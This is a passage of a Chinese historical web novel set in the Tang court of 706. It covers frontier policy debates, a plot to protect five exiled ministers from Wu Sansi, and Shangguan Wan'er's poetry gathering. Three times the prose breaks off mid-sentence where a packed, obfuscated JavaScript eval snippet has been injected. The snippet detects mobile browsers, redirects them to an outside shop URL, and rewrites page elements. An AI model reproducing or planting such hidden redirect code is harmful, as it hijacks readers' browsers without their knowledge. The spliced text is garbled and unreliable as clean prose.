“古语所说的‘诸侯用夷礼则夷之,进于中国则中国之’是真的。” 洛北听得出来,王翰这句话化用了孔子《春秋》的句子,面上却只微微一笑:“哦?这话是怎么说的?” 王翰找了块稍平整些的岩石,坐在山上望着下头的草原:“所谓‘礼仪’,不过是为人处世的规范。今天我在鸣沙县衙,已有突厥牧民拿着自家种的粮食,来县衙答谢你的恩情。他们的子孙会和汉人一样,种地、读书、知礼,如此几代,他们和我们汉人有什么不同?” 他望了一眼洛北,见洛北没有答话的意思,便自顾自地说了下去:“可做成这样的事情很不容易。要有太宗文皇帝那样的胸怀,还有如你我这样脚踏实地的人。一步一步,筚路蓝缕,方能功成。我猜想,昔年太宗皇帝削平天下,设立羁縻州统治这些胡人时,想的应当也和我今日差不多吧?” 王翰说着说着,语调低沉下来,似乎正在沉思:“可是时至今日,各族叛乱,边塞依旧动荡频频,不得安宁,这又是为什么?” 洛北笑了:“你是想问我,为什么他们不仅能降而复叛,还能裹挟当地民众一起迁往草原?还是为什么边塞战事不宁?” 王翰睁大了眼睛望着洛北:“这两个问题有什么不同吗?” “第一个问题,我曾经也想过。”洛北干脆也坐到他旁边,金雕从他们头上掠过,去追逐草海里一只载沉载浮的兔子:“在鸣沙,你看到了从草原投奔来的牧民。在草原上,我也见过来草原逃难的农民。我曾经问过他们,草原苦寒,为什么你们不肯回去呢?” “他们回答我说:‘中原难过,不如草原自在好过。’” 王翰的脸刹那间红了,他明白,这就是孔子说的“苛政猛于虎”。 洛北笑了笑:“我在草原上放过牧,知道牧民们过的是什么样子的日子。照看土地的农民,尚有农忙和农闲的分别。照看牲口,那是一日都没有休息的。要是遇到天灾,农民们有些积攒的种粮可以拿出来吃,还可以等待朝廷的救济。但牧民们分散各方,连哭声也不会被人听见。” 王翰深深地望着他,一时竟说不出话来。 洛北顿了顿,面上依旧是一派春风化雨的笑容:“可这样的辛苦换来的是什么?是种地的农民,十五亩地就可以养活一个人,但放牧的牧民,要一千亩地才能养活一个人。更不要说,许多生活必需的东西,譬如盐巴,草原上是从来不产的。” 王翰还是第一次听到有人说这样的话,他沉默片刻,忍不住站起了身:“洛北,你的意思是.......这些人本质是为了吃饭才和我们打仗?那这战争岂不是永无休止,没有尽头吗?” 洛北忍不住笑了:“王翰兄,要获取物资,不止战争这么一个途径。除了打仗,还有贸易嘛。” 王翰出身豪富之家,经他这么一点,立马反应过来:“不错,不错。草原上不产稻米、盐巴、茶叶、丝绸等物,中原地区也极少有人成群成群地养牛羊……可是,当年太宗皇帝设立羁縻州之后,这些牧民便可自由地出入城市,买卖货物。但他们还是造反了。” “若说突厥暴动复国是忘不掉昔日荣光,吐蕃连连犯边,是要吞并同宗同源的吐谷浑。可就连契丹这样的部族,都起兵造反,要知道,他们可曾经是突厥人的奴隶,是大唐拯救他们于水火之中。我认为这不是一个‘吃饭’就可以概括的事情。” 见王翰难得把才思用在世俗经济上,洛北也乐得和他多说几句:“所以这一切远没有我们说得这样简单。要长久地统治他们,同化他们,是有条件的。一个是军事,一个是符合实情,还有一个,就是要把人当人看。” 王翰本来理顺的思路被他这么一说,差点是越来越糊涂:“洛公子,还要我求你不成吗?你能否说得再明白些?” “所谓足够的军事力量,便是要威慑住他们不敢随意动刀兵。说得粗浅些:要是抢的比买的容易,天下也就没有人会付钱了。” 这话糙理不糙的话一说出来,王翰就忍不住笑了:“不错,不错。那实情二字指的又是什么?” “实情便是要符合当地的现实情况。草原的贫瘠之地种不了粮米,牧民的生活就很难像农民一样被固定在一处,他们要赶着牛羊四处寻找牧场,才能生存。所以生搬硬套中原的那一套,是行不通的。我想,昔年太宗皇帝设立羁縻都督府的初衷大抵如此。” 王翰点了点头:“太宗皇帝高瞻远瞩,确非常人所能比。” 洛北说:“最后一条,也是最难的一条,便是要真正把这些异族人视作自己的子民。就说契丹吧,自我大唐设立松漠都督府以来,契丹从无叛乱之心。” “万岁通天元年,河北雪灾,契丹遭了□□,松漠都督李尽忠屡屡向朝廷上表求救,可朝廷宁愿花费巨资重修被薛怀义烧毁的明堂,也不愿拨钱给契丹赈灾。营州都督赵文翙更是把契丹首领视为自己的奴仆,结果,他的这份酷虐逼反了契丹人。李尽忠、孙万荣打着恢复李唐的旗号起兵,造成赵文翙兵败被杀,前来平叛的大将王孝杰也命丧东硖石谷,河北道自此陷入了一片战火。” 王翰叹了口气,契丹之乱绵延数年,他关心时政,自然了解后续发生的事情: 王孝杰兵败身死后,朝廷接连派来两位武家子弟平叛,这两人不思安宁百姓,反倒以‘附逆’罪名屠戮百姓,河北百姓把河内王武懿宗和杀人取乐的契丹将领何阿小并列,道是“唯此两何(河),杀人最多”。 “后来,太后不得已与突厥大汗默啜议和,请他发兵相助,又把尚在贬谪之中的梁国公狄仁杰调去河北安抚百姓,才堪堪将契丹之乱平定。可契丹已经成为了突厥的属国,和我大唐再次成为了敌人。” 王翰深深地叹了口气:“如今我才读懂了陈子昂为什么在随军出征契丹时写下那首《登幽州台歌》,‘念天地之悠悠,独怆然而涕下’。他不仅是为自己的意见不受重视而垂泪,也是为河北的百姓垂泪,为大唐的天下垂泪。” “王公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281690|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子这话说得也太丧气了。”一个声音从他们身后传了过来,“我原以为你弃官离京,打得便是‘国无道则身退以避之’的谋算呢。” 王翰回头看去,裴伷先风尘仆仆地出现在山坡的背面,一身绸袍几乎为汗水所染:“裴詹事,你是什么时候来的?” “大概在咱们说契丹事宜的时候。”洛北站起身,替裴伷先将马拴在一边,示意他坐在自己的位置上:“伷先肯丢下京中的太子一路跑来鸣沙,一定是长安城中出了大变故。我猜猜,是不是武三思还不肯放过五王?” 裴伷先本来心急如焚,一路星夜兼程,匆匆赶到鸣沙,见到洛北潇洒肆意,言语闲适,一片焦灼的心也缓缓地定了下来: “是,恰如公子所料。自从五王离开长安之后,武三思日日罗织罪名,构陷五王,最近又下了大力气。” “这一次是什么罪名?失职、贪污还是谋反?”王翰好奇道。 裴伷先苦笑了一声:“要是寻常手段,我也不会跑到鸣沙来。武三思派人在长安四处张贴揭露他自己和皇后韦氏私通,秽乱后宫的告示,又倒打一耙,指责这些是五王指使,意在废除皇后。” 饶是洛北自诩对武三思的下作已经足够了解,此刻也不由得大跌眼镜:“这太荒谬了,五王离京都多久了,怎么可能指使人泄露禁宫中的事情呢?” “满朝文武谁不是这么说?可圣上龙心大怒,派去查案的御史李承嘉又是武三思的人,一口咬死了就是五王所为,要圣上下旨将他们满门抄斩。” 裴伷先神情郁郁,“当年王同皎案后侥幸留在长安的那些政变功臣,这一次又被抓进了大理寺。大理寺丞李朝隐顶着压力想要彻查此事,但他的顶头上司大理寺卿裴谈是武三思的人,他这个当下属的恐怕顶不了多久。” 王翰忍不住道:“可这么荒谬的案子,朝中就没有一个人出来说话吗?解琬解御史出使西域,宋璟宋中丞外放杭州,那魏元忠魏相公呢?他在朝中可是担任要职,又是以刚直著称的啊。” 洛北轻轻地笑了一声:“这便是太后的高明之处了。她在自己的遗诏中实封魏元忠一百户,给了魏元忠位极人臣也难有的荣耀。魏元忠自然会投桃报李,庇护武家子弟。他怎么会出来说话?” 王翰听他一说,也不由得垂头丧气起来:“照你这样说,五王岂不是必死无疑了?” “其实还有一点生机,只是这法子太险,我不能决断。伷先来得正好,你来看看,这法子是否可行?”洛北以指为笔,在蓝天白云之间,写了一个“李”字。 “李家,公子是说......李唐宗室?”裴伷先反应过来。 “不错。”洛北点了点头,“伷先,王翰,你们想过没有?武三思不遗余力地构陷五王,非得要置他们于死地不可,难道只是因为五王发动宫变推翻了武周吗?要知道,远在神龙宫变之前,太后已经立当今圣上为太子。武三思等人早就失去了继位的希望。更不要说,参与政变,他们自己也有份。” 69. 第 69 章 裴伷先和王翰面面相觑,谁也没有明白洛北的意思。 裴伷先起了作怪的心,也学着王翰的口吻道:“公子,还要我求你不成吗?把话说得明白些。” 他和洛北都是少年遭难,家破人亡,一路在颠沛流离中长大的人,极少用这样语气说话。因此他这话一出口,洛北先是一怔,随即忍不住大笑起来,差点没笑得背过气去。 王翰的脸一下子就红了,想要找个地缝钻起来吧,这山上一片荒芜,竟无处可躲。他只得背过身去,不和这两个人说话。 洛北笑了一阵,才自顾自地往下说:“武三思也是读过书的人,知道前世之鉴,后事之师的道理。他今日虽然权倾朝野,可等圣上一死,他今日的风光便是日后新君整治他的理由。” 裴伷先“啊”了一声,心有戚戚地应了,他叔父裴炎当年曾为女皇立下了汗马功劳,一样落了个兔死狗烹的下场:“所以,武三思费尽心机打倒了五王,是想先扳倒五王,再废了太子,最后扶一个少帝上位?” 洛北摇了摇手指:“不,他的野心不止于此。你们想想,当今圣上是姓李不假,但也做了多年武周的太子。等到五王一死,武三思会借着五王的事情肆意攻击李唐宗室和忠于李唐的臣子,把这些人都打下去。” 他顿一顿,面上一片忧愁神情:”到了那个时候,复立武周宗庙,乃至恢复武周国号……都不是不可能的事情。” 王翰本不想理他们,听到这句话却不禁转过头来:“洛北说的对,这样一来,武三思等人又成了皇亲国戚,可以与国同荣了。” 裴伷先点了点头:“如果真是这样,在长安的李唐宗室绝不会坐以待毙。李唐宗室都是皇上的亲戚,他们总还是能在圣上面前说话的。” 洛北轻轻叹了口气:“我说此计凶险,凶险的也就在这里。这些李唐宗室不是木偶泥胎,他们总有自己的想法。万一要是劝谏过了头,让圣上觉得自己在被人逼迫退位,只会激起圣上更大的反弹。” 王翰本在置气,听了这句话终于忍不住转过身来,整个人差点冲到洛北身前,要去抓他的衣襟,半途上才生生止住自己,压低了声音: “你说武三思在朝中滥杀功臣,为所欲为,都是圣上默许的?!” 洛北见他神情茫然,把话说得更直白了些:“王翰兄,你别忘了,圣上当年是以李唐皇帝的身份被太后罢黜的。长安城里还有个在政变中出力甚多,也做过李唐皇帝的相王李旦。若论法统,说不准圣上觉得武周更名正言顺些呢?” 王翰倒退半步,差点坐倒在地上:“不.......这怎么可能,怎么可能呢?”难道他们这些李唐旧臣期盼了数年的皇帝李显,非但没有半分太宗的果敢坚毅,倒是十成十让人不寒而栗的刻毒阴冷吗?这让那些参与政变的大臣情何以堪?这让思归李唐的天下百姓情何以堪? 裴伷先喃喃道:“我算是明白了为什么太后在遗诏中还特地提了袁恕己的封地……原来她是想祸水东引,让圣上注意相王,从而让武家成为圣上的助力。” “如今我最担心的便是太子。”洛北道,“此事涉及宫中,绝不能与太子有涉。伷先,你回去之后,劝太子立刻闭门称病。” 裴伷先点了点头:“公子放心。我原本想请成王李千里出面,但他掌管着禁军,也不方便.......除非。”他深深地望了洛北一眼,“公子,我有个不情之请。” “你想让我写信给褚郡君,让她辗转延请太平公主出面?”洛北已经明白了他的意思,脸上却露出犹疑神色。 “是啊,这件事情还就是得褚郡君出面最合适。”王翰忙不迭地开了口:“五王离京已有一年功夫,这些宫中秘辛如何得知?要是较起真来,还是会追到宫里,追到这些常常出入宫禁的李唐宗室和宫人们身上。到那个时候,又不知道多少人要白白地送了性命。” 王翰说完,也把目光望着洛北。 洛北被他们两个人盯着,只有苦笑一声:“我何尝不明白这个道理。但是当年我无辜下狱,是褚郡君出面在宫中为我联络。为了我,她丢了官职,被赶到上阳宫去侍奉太后。” 他说着说着,语气中又缓和几分:“若非她自己争气,得了嘉奖和诰封回了长安,恐怕就会老死在上阳宫中。如今要再把她牵扯进这些事情里,我不忍心。王翰兄,伷先,你们就当这是我的一点私心,行吗?” 王翰与洛北相处日久,知道他这个人为人公正,生活朴素,忙工作来是没日没夜,堪称“大公无私”。如今骤然说起“私心”,几近是在恳求了,王翰也不好对他逼迫太过: “好吧,到时候,我和伷先一起回京。我在京中参加文会的时候,还认得些李唐宗室,总要对他们把利害说明了才是。” 洛北低头应了,一时没再说话。唯有风声猎猎,穿梭在旷野之中。 他铺开稿纸的时候,已到了深夜。一点灯火如豆,照着半张白纸晦暗不明,他提起笔,也不知道要写什么。倒是门外一阵敲门声,把他从沉思之中解救出来。 “伷先?”洛北打开房门,见是裴伷先端着茶水站在门外,忙把他迎了进来,“怎么,是我这县衙太过简陋,你睡得不安稳?” 裴伷先笑了笑:“公子当我没过过苦日子吗?我是觉得白天里当着王翰,有许多话公子没有讲完,所以才来深夜求教。” 洛北自打到了鸣沙,是工作的时间多,休息的时间少,所以这书斋与其说是他的卧房,不如说是他工作的地方,档案图册案卷卷轴……到处都是,却没有待客的地方。洛北也来不及收,伸手要把裴伷先让到自己休息的软榻上。 裴伷先却挥了挥手,也不和洛北见外,自顾自地推开一叠文稿,在堆满文书档案的桌边坐了下来:“公子,我总觉得你在白日里有些话没有说。我猜是当着王公子的面不太好说,所以干脆不请自来了。” 他顿一顿,神情有些神秘:公子,就算李唐宗室们群起响应,不让‘语泄宫中,构陷皇后‘的罪名落到五王头上。可圣上已经厌极了五王,绝不会让他们安安稳稳地在朝中为官,一定会把他们流放到远方。” 洛北轻轻一笑:“不错,所以我正要写信给魏相公,想请他出手,把这些人都流放到西域去。” “西域”二字一出,裴伷先便知道洛北已经下了决断。他立刻起身拱手道: “请公子下令。” 洛北将一副勾画好的地图递到他手上:“西域路遥,其中有数段可供我们动手脚,此事交给处月部的朱邪烈去做,要做得快些。” “是。”裴伷先双手接过了命令,才站起身道:“公子是担心朝廷会派人追杀?” 洛北点了点头,“我只怕五王还没动身,杀他们的人已经在路上了。” 裴伷先知道此事急迫,只将地图装进一只做工精致的银筒中,本要起身离开,又转身坐了下来。 洛北已得了个开头,正在纸上写:“魏公安......”见状,只向他投去审视的一眼:“怎么了,还有话没说?” “确实。”裴伷先察言观色,见他温和英俊的一张面容上不辨喜怒,语气就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281691|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放得更平和些:“公子要答应我不生气,我再开口。” 洛北手上的笔一顿,差点染黑了一片白纸,他将纸张团成一团,搁下笔,望着裴伷先:“此事与褚郡君有关?” 裴伷先点了点头,也不能再坐,站到了洛北身边:“是。一开始当着王公子的面,我不好说。后来公子又说了私心的话,我就更不好开口了。” 他顿一顿:“我此来鸣沙,便是褚郡君出的主意。是她说武三思构陷五王之事必然与太子有涉,我才匆匆赶来了鸣沙请公子的示下。只是褚郡君大概也没想到,武三思打着复立武氏宗庙的主意。” 洛北忍不住揉了揉太阳穴,平心而论,天底下有哪个做兄长的希望自己的妹妹整日在这些阴谋争斗之中打转。饶是他知道褚沅心思澄明,也不能免俗。只是如今箭在弦上,不得不发: “那你就告诉褚郡君,此事最好就是大事化小,小事化了,绝不能落到实处,否则社稷危矣。” 裴伷先不解其意:“公子,我们的原意不是请褚郡君出面延请太平公主吗?” 洛北无奈地笑了:“她既然知道让你来寻我,便已经打定了要请太平公主出面的主意。伷先不必担心,朝中有褚郡君在,五王能不能平安地到西域,就全看你我了。” 裴伷先立刻应了:“公子放心,属下一定不负使命。” 李朝隐拼死进谏,李唐宗室也群起劝说,终于让李显按下了自己的愤怒,把事情想得明白些——五王离京已有一年,他们怎么会知道宫中的事情?而后他的妹妹太平公主和昭容上官婉儿又入宫进谏,让他也不禁想到,如今五王已经服服帖帖,或许没有必要将他们赶尽杀绝。 毕竟就在不到一年之前,他还曾经赐给张柬之等人可免十次死罪的免死铁券,墨迹不干,就把五王全部杀死,朝廷的颜面也挂不住,更显得他像是一位刻薄寡恩的皇帝。 “罢了,这些人对朝廷还算有些功劳,就把他们流放吧。流放到......”李显在宰相们议事主动提起此事,话里话外的意思是要大事化小,小事化了。 但他话还没说完,武三思已经出列,要打断皇帝的话。 魏元忠在后头看了一眼武三思,深觉洛北所言不虚,这个武三思是个得了权势,就什么也容不下的人。因此也打定主意,上前一步:“圣上英明,依臣之见,应当把他们合家流放去西域戍边。” “戍边,不错,戍边。”李显想起魏元忠昔年与吐蕃谈判的英姿,脸上又有了些笑容,“把这些人都流放到安西、北庭去,让他们吃一吃雪地寒风的苦。” “是。”魏元忠低头领命。 武三思终于忍不住了:“圣上,构陷皇后这么大的罪名,若是幕后主使不能伏诛,恐怕圣名不清,与皇后娘娘也无益处啊。” “殿下慎言!”唐休璟一贯与魏元忠交好,又久在边境,本就乐意为安西北庭增添人口,见武三思还要赶尽杀绝,终于忍不住了,“天下岂有把禁宫中的事宜拿出来供天下嚼弄的道理?要是真为流言杀了人,天下人岂不是要把这流言议论纷纷。防民之口甚于防川,圣上的清誉要紧啊。” 魏元忠也认了他的话:“是,陛下,臣认为,可以以‘僭越’‘冒犯’的名义处置这五人,绝不能以‘语泄宫中,构陷皇后’的名义处置他们。” 李显在民间待过,也知道流言纷纷何等恼人,他绝不愿让自己家的事情成了百姓的笑话:“是,此事准了你们的请,马上去做,务必靖除流言,倘若长安城中还有人议论,命金吾卫以谋反罪名乱棍打死!” 70. 第 70 章 神龙二年的冬天来得特别早,重阳节满宫里摆的菊花香气还弥漫在空中,十月一过,天上便纷纷扬扬地飘起雪来。 自武则天去世,五大臣贬斥出京,皇帝李显便放心地把朝政委以韦皇后和武三思、魏元忠等宰相们,自己沉醉在长安城熏人的富贵与宴饮之中,时常换上做亲王时的装扮四处出游,在各家贵胄府邸中厮混过日。 皇亲贵胄、朝廷大臣上行下效,芦花未绝,白雪飘飘的胜景之中,诗会、博戏、歌舞、马球.......一场场应酬让人应接不暇。 今日便是上官婉儿主持的文会。自她获封昭容,执掌制诰以来,日渐有了文坛宗主的派头。 长安的一派诗人词士,由昔年在武周时期编簒《三教珠英》的状元张说领头、宋之问、徐坚、李峤、崔融、崔湜等都时常来她主持的文会上以文辞较高下。 王翰虽以才名著称天下,但他意气辞官,如今只是个无官无职的进士。好在在上官婉儿的姨妈郑氏便是嫁入了太原王家,是王翰的一位叔母。凭了这一点远远的血缘,他才能在这场文会上敬陪末座。 到了这一年,名盛一时的上官婉儿已经四十四岁,但她肌肤胜雪,眉目俏丽,竟还像二三十来岁的人。她端坐席上,用纤纤素手拈出一个诗题:“诸位,本次便以‘雪夜’为题,不限韵律,随意吟咏。” 一众文人都苦思冥想起来。王翰善作快诗,凝神想了片刻,便在纸上一挥而就: “满天星斗晓来收,万丈瑶台梦里游。物到岁寒偏耐看,一轩松竹不胜幽。” 他要把卷纸递给来收集的女官,一抬头却差点愣在当场,眼前这个头戴白玉冠,耳坠明月珰,面似芙蓉花的女郎不是褚沅又是谁? 他张了张口,想和她说些什么,却一个字也没能说出来。比起昔年跳上张昌仪的洛阳县衙公堂主持公道的那个少女,如今褚沅气势更收,琥珀色的眼眸含着笑意,望着便如一泓看不透,摸不着的秋水。 王翰低下眼睛,双手将卷纸递给褚沅,口中道了句:“有劳褚郡君。”便坐下在席边,喝一杯乾和葡萄酒等众人写完。 不消三刻功夫,众人都停了笔。上官婉儿同褚沅转到屏风后品评诗句。 上官婉儿连着翻了几张,都是不堪点评的作品,她看也不看,大笔批了个红叉,随手一翻,丢到庭院外头去了。 “如今长安的才子是怎么了?连首像样的诗句都做不出来了吗?”上官婉儿轻声抱怨着,又翻过了几张,“‘物到岁寒偏耐看,一轩松竹不胜幽。‘这首还像些样子,谁写的?” “王翰。”褚沅轻声对答。 “我知道这小子,家中豪富,为人有些狂傲,但诗才还算不错。”上官婉儿向外望了一眼,王翰也是才貌出众,加之年少,在满座的中年文士是尤为显眼:“给他个第二,不要叫他太出挑了,不要助长他的傲气。” 褚沅低声应了,在纸上将王翰的名字添到第二旁边。 “多少年没见你写这笔褚体了。”上官婉儿盯着褚沅的手腕看,“你的飞白写得不错,但不如褚体好。日后写诏书的时候,不妨用褚体写……反正朝廷已经赦了你曾祖褚公的罪。” 她这话里透着亲近的意思,褚沅轻轻一笑,低声应了,也不多说什么。 一刻不到的功夫,上官婉儿便将这次的诗作分了三六九等。褚沅便同她一道转到外间去宣读:张说拔得头筹,王翰屈居第二,第三的却是崔湜。 张说站起身来,正要说几句婉转答谢的话,外头一阵马声嘶鸣,打断了他的话。众人一时不解,都起身向外看去,只看德静郡王武三思从府外走了进来。 武三思虽然因为武则天的遗诏降了爵位,但自五王流放之后,朝中人人畏惧他的权势,便是魏元忠,也要对他逼退三舍。上官婉儿领头,众人都顶风冒雪地出去迎接。 武三思亲自把上官婉儿从雪地里扶了起来,借着广袖的遮掩,在袖中微微一握上官婉儿的手臂,又把她让到席上正中,自己坐到了她身边:“昭容这是要折煞我了。不要因为我败坏了大家作诗的兴致,你们继续。” 场下哪还有人敢继续?众人都仰着笑脸望着他,等着他说出此来的理由。 上官婉儿给他垫了个梯子:“如今天色将晚,德静郡王造访,可是有什么好消息么?” “好消息,不错,大大的好消息啊!”武三思喜她与自己心意相通,脸上笑容更盛,“好叫大家知道,天威降临,祸国殃民的五位大臣,全都伏天诛了!” 王翰心底一惊,脸上好险没漏出惊讶神色。他到长安后不到半月,便传来张柬之和崔玄暐都因病暴毙的消息。没想到,桓彦范、敬晖和袁恕己也死了……? 席间有人发出和他一样的疑问:“还请德静郡王为我们解惑,这桓彦范、敬晖和袁恕己是如何伏天诛的?” 武三思正端着酒杯喝酒,闻言挥了挥手:“来,利贞啊,你说说。” 外头走进来个身材矮小,体格健壮的男人,他眼冒精光地说了一遍桓彦范在山道上跌落山崖,敬晖为突厥乱兵所劫,重伤不治而死,袁恕己失足落水的经过,恨不得将尸首的惨状描绘得栩栩如生。 在场的都是文坛士人,闻言大半都低头不语。唯有宋之问、崔湜两张脸上露出得意神色。崔湜开口笑道:“表兄,叫他们死得这么轻易,你这可是太仁慈了。” 崔湜这话显然是当这一切都是周利贞所为。周利贞心里打鼓,面露难色,回望了一眼武三思,显然是不知道这话该怎么回答。 武三思不轻不重地把杯子落到桌上,冷哼了一声:“崔湜,这话是你该说的吗?天诛如此,说明这些人的罪行是罄竹难书,引起了天怒。” “不错。”宋之问见武三思要发怒,忙开口垫了两句,“五逆贼犯上作乱,罪不容诛。如今上天降罪,应当撰成碑文警示后人!” 宋之问是闻名一时的大诗人,有过“近乡情更怯,不敢问来人”的名句。但他当年因依附女皇男宠张氏兄弟被张柬之贬斥出京,又偷偷潜回长安,藏在了好友驸马王同皎家中。他不思报恩,反手将王同皎谋刺武三思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281692|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情捅给了武三思。最后他得到武三思的青眼升官发财,王同皎却被满门抄斩。 他这话得到了多数人的附和,席间只有几人默不作声。王翰实在不想看他们那副嘴脸,觑了个空,去了廊下看雪。他站了半刻,屋子里又走出一个人,脸上一片郁郁神色——正是担任国子监司业兼修国史的崔融。 崔融是清流魁首,当世大儒,当年吐蕃议和的时候,也和王翰有过往来。王翰一向敬佩他的为人和才气,低头对他见礼:“崔司业。” “王翰。”崔融与他在廊下相遇,彼此已是心照不宣,也没有那些虚应事务,开口就问:“听说你在灵州附近开办学堂,为百姓及内附部族讲学?” “是。学生是应鸣沙县令洛北之请,才开了学堂,做了些蒙学之事。” “洛北,就是当年兵部的那位职方司郎中吧。”崔融拍了拍他的肩,语气中有些欣慰,“你们做的是实事,传承文脉,传播王化,为的是天下千秋万代的事业,做得好,做得好啊。有你们这样的青年,或许这天下还有希望.......” 他这话说得灰心丧气,王翰不禁动容,又看了看他脸上神情,竟已是面如死灰:“崔司业,你这是......” “不要紧,不要紧,我一时半会儿还不会死的。我要编纂《则天实录》,把女皇时代的事情传扬下去。”崔融苦笑一声,“是非功过,留待后人来评说吧。今天之后,我不会再来文会,我劝你也不要再来了。” 崔融说罢,拂袖而去。王翰怔怔地望着他的背影,一口气卡在喉咙中,怎么也咽不下去。忽而一道石青裙摆自他身边滑过,却是褚沅带着两个下仆从屋内追了出来,她指点那两人,叫他们追上崔融,把他送到家里。 那两人在雪地里走远了,褚沅才问王翰:“王公子还不准备归席吗?你若再站一会儿,一定会被武三思记住的。” 王翰知道她是在指点自己,免得归席太晚被武三思记恨,他心下有些感激,也知道这指点的情谊多少是沾了洛北的光,他一时不知道该说什么,只得开口说:“洛公子在鸣沙一切都好,做了不少实事,百姓们都很感激。” 褚沅点了点头,露出一个难得透达眼底的笑容:“我知道。” 王翰点了点头,他以才名著称,也有些风流名声,但此刻却不知道如何措词:“洛北他......他还是记挂你的。” 褚沅忍不住笑了:“我知道。” 王翰也低头笑了一声,觉得这两个人心意相通,他这几句倒是显得多余了。他低头进了堂中继续和那些人虚应故事,一直到黄昏时分,才起身告辞。 武三思和他周围的一批人不走,又换了到屋内去宴饮,酒兴上头,便留宿在了上官婉儿府中的意思。褚沅却不得休息,她督着一众下仆将宴席洒扫完毕,直到夜深人静,才能回房休息。 褚沅提着灯独自走在长长的回廊上,借着周围明亮的雪光,她远远地望见有一个人站在走廊上,走近了才发现是上官婉儿: “昭容怎么到这里来了?” 71. 第 71 章 “你现在也叫我昭容了。”上官婉儿已去了满头的钗环,卸开缠着假发的发髻,只挽了个矮髻,插了把金梳,卸去华服与脂粉,露出一张俏丽精致但疲惫的女子面容,“我还是怀念你从前叫我姑姑的日子。” 褚沅低头温声道:“昭容,礼不可废。” 上官婉儿的神情几无变化:“罢了,雪停了,你陪我走走吧。” 她们各自披着一件厚重的斗篷,缓步走在深夜的雪地里。雪光反着月光,映照着天空像白昼一样。亭台楼阁里的灯都熄灭了,只留下两个行走在黑夜里的清冷的影子。 “你回长安也有几个月了吧?我已经和皇后娘娘议过了,仍旧让你执掌内学馆,并为圣上制诰。”上官婉儿道,“你的才学人品,其实并不在我之下,只是缺少了发挥的机会。” “谢过昭容。”褚沅低头答过,静静地等待着上官婉儿真正想问的那句话。她们穿过月亮升起的密林小径,走过蜿蜒曲折的回廊,坐到临湖的水榭旁。天色很好,一丝风也没有,只有月光照着昆明池上碧波万顷,波光粼粼。 上官婉儿比褚沅想象得更能沉得住气,她们闲散地聊过宫里的人事变化,新建的庙宇,才绕到正题上:“女皇可有什么话提起我?” 女皇已经去了帝号,但在只有两个人的场合之中,她们还是不约而同地依旧称呼武则天为女皇。 “提过。”褚沅低下头笑了,“只怕昭容不一定愿意听。” “她很恨我吧?”上官婉儿轻轻叹息了一声,即使是□□如上官婉儿,也无法准确地知道,她自己是怎么看待这位让她家破人亡,又给了她无限权势的女皇。于是她便更无法知道,在听说女皇恨她时,她心底那一点深切的释然是什么原因。 褚沅摇了摇头:“说句实在话,昭容不要生气。我去上阳宫的时候,女皇已经老了。” “八十岁的人了,也难怪.......”上官婉儿叹了口气,女皇的疲惫和老态在长安年间已经是不需要讨论的话题,否则也不会有那场轰轰烈烈的宫变了。 “我去见她的时候,她老人家已经如寻常的老人一般,时而清醒,时而糊涂。清醒的时候,她给我讲述过往的人和事,还提到我的曾祖和父亲.......” 褚沅望着碧波万顷的湖水,眼神中有一点凄然: “她说她知道曾祖褚公并无谋私之意,只是放不下太宗文皇帝生前对他的知遇之恩。所以才会反对她成为皇后。可当时她别无选择,只有将我们褚家赶尽杀绝,才能以儆效尤,镇住朝中那些臣子。” “所以,她说她也不恨我们。在权力的战场上,输了就是输了。输家便注定会失去一切。”褚沅轻轻一笑,似乎是在自嘲,“但她糊涂的时候,也几度大喊大叫,要以女皇的名义叫我们去把那些逼宫犯上的人都杀了,抄家灭族。” “竟然是这样。”上官婉儿深深地叹了一声,“生老病死,天意如此,果然不是人力所能为啊。”她似乎想要说什么,但又没法对着褚沅这样一个小了她二十来岁的小姑娘说,只用手怜惜地摸一摸她的脸颊: “我听说,这几天崔湜总来烦你,他还在为上次天牢里的事情和你过不去?” 褚沅点了点头,她知道上官婉儿格外欣赏崔湜的英俊温存,为此可以忽略他身上的浅薄、自大和狠毒:“当年虽说是奉皇命,但情急之下动了手,确实是奴婢做得不对。” “什么对不对的,你奉皇命行事,不是他能够阻拦的。”上官婉儿冷笑一声,“这些浅薄的男人们.......不管你是不是权倾朝野,是不是满腹经纶,在他们眼里,你永远只有一个身份——女人。区别不过你是他们自己的女人,还是他们的主上的女人。” 褚沅不知道上官婉儿为什么要说这样的话,她抬起眼睛望了一眼上官婉儿:“昭容的意思是.......希望我入宫为妃吗?” “早几个月,你还没做郡君的时候,或许我会这么做。”上官婉儿摇了摇头,“但现在你以侍奉女皇的孝行继承了家族的爵位,便如陛下的晚辈一般——再纳你进宫,陛下成什么人了?” 